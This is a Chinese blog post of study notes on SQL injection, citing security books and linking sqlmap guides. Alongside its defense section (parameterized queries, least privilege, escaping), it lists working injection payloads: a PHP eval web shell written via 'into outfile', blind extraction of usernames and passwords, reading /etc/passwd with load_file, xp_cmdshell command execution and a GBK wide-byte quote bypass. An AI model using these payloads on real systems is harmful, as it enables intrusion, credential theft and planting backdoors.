sql注入——资源记录

来源:互联网 发布:什么是泛型编程 编辑:程序博客网 时间:2024/06/08 05:38

《sql注入攻击与防御(第二版)》:

SQL Injection Cheat Sheet http://ferruh.mavituna.com/sql-injection-cheatsheet-oku


网络资料整理:

sqlmap用户手册:http://drops.wooyun.org/tips/143  续 http://drops.wooyun.org/tips/401

安全攻防之SQL注入(通过sqlmap搞定所有问题):http://www.cnblogs.com/Javame/p/3753060.html

手工注入经验总结:http://blog.csdn.net/eldn__/article/details/8203831



--以下记录来源于《白帽子讲web安全》

判断方法:

1. and 1=1 / and 1=2

2.mysql 中 id=1 and sleep(5)       #延时注入

3.mysql 中 benchmark(100000,encode(‘abc’,‘abc’)#延时注入

利用技巧:

1.mysql中常用的函数  database()  system_user()  current_user()  last_insert_id()

2.写入一句话:select "<?php eval($_POST[1]);?>" into outfile "网站绝对路径"

3.  id = 1 and substring(@@version,1,1)=5
4.  id = 1 and ascii(substring((select concat(username,0x3a,passwd) from users limit 0,1) ,1,1 ) )>64
5.  id = 1 union select 1,1,load_file('/etc/passwd')
6. mssql中利用存储过程执行系统命令  EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'
7. 数据库编码若为gbk 会把识别0xbf5c,addslashes会把 0x27变成0x5c27,那么构造payload 0xbf27,即可插入单引号注入。
8.sql column truncation是因为定义column长度varchar时值太小,若STRICT_ALL_TABLES开启,那么可以插入 溢出部分不同 的值会成功。

防御:

1.1预编译:绑定变量,不能改变sql的语义(也交参数化查询)

php中$stmt= $mysqli->prepare($query) $stmt->bind_param("sss",$var1,$var2,$var3);

1.2使用存储过程,调用存在数据库里的函数。

1.3设置变量的值,比如固定为integer

1.4使用定义好的安全函数来转义。

1.5设置数据库用户的最小权限。


2.1php中的过滤函数:

php.ini magic_quotes_gpc 开启的话,输入的字符串会被转义,多加一个\

若没有开启magic_quotes_gpc,用addslashes(),强制在单引号上加\(可能将0xbf27 变成0xbf 5c 27,如果数据库是gbk,会识别0xbf5c,统一编码即可解决)

mysql_real_escape_string() 考虑字符集

mysql_escape_string() 不考虑字符集 ( php5.3已经弃用)

0 0
原创粉丝点击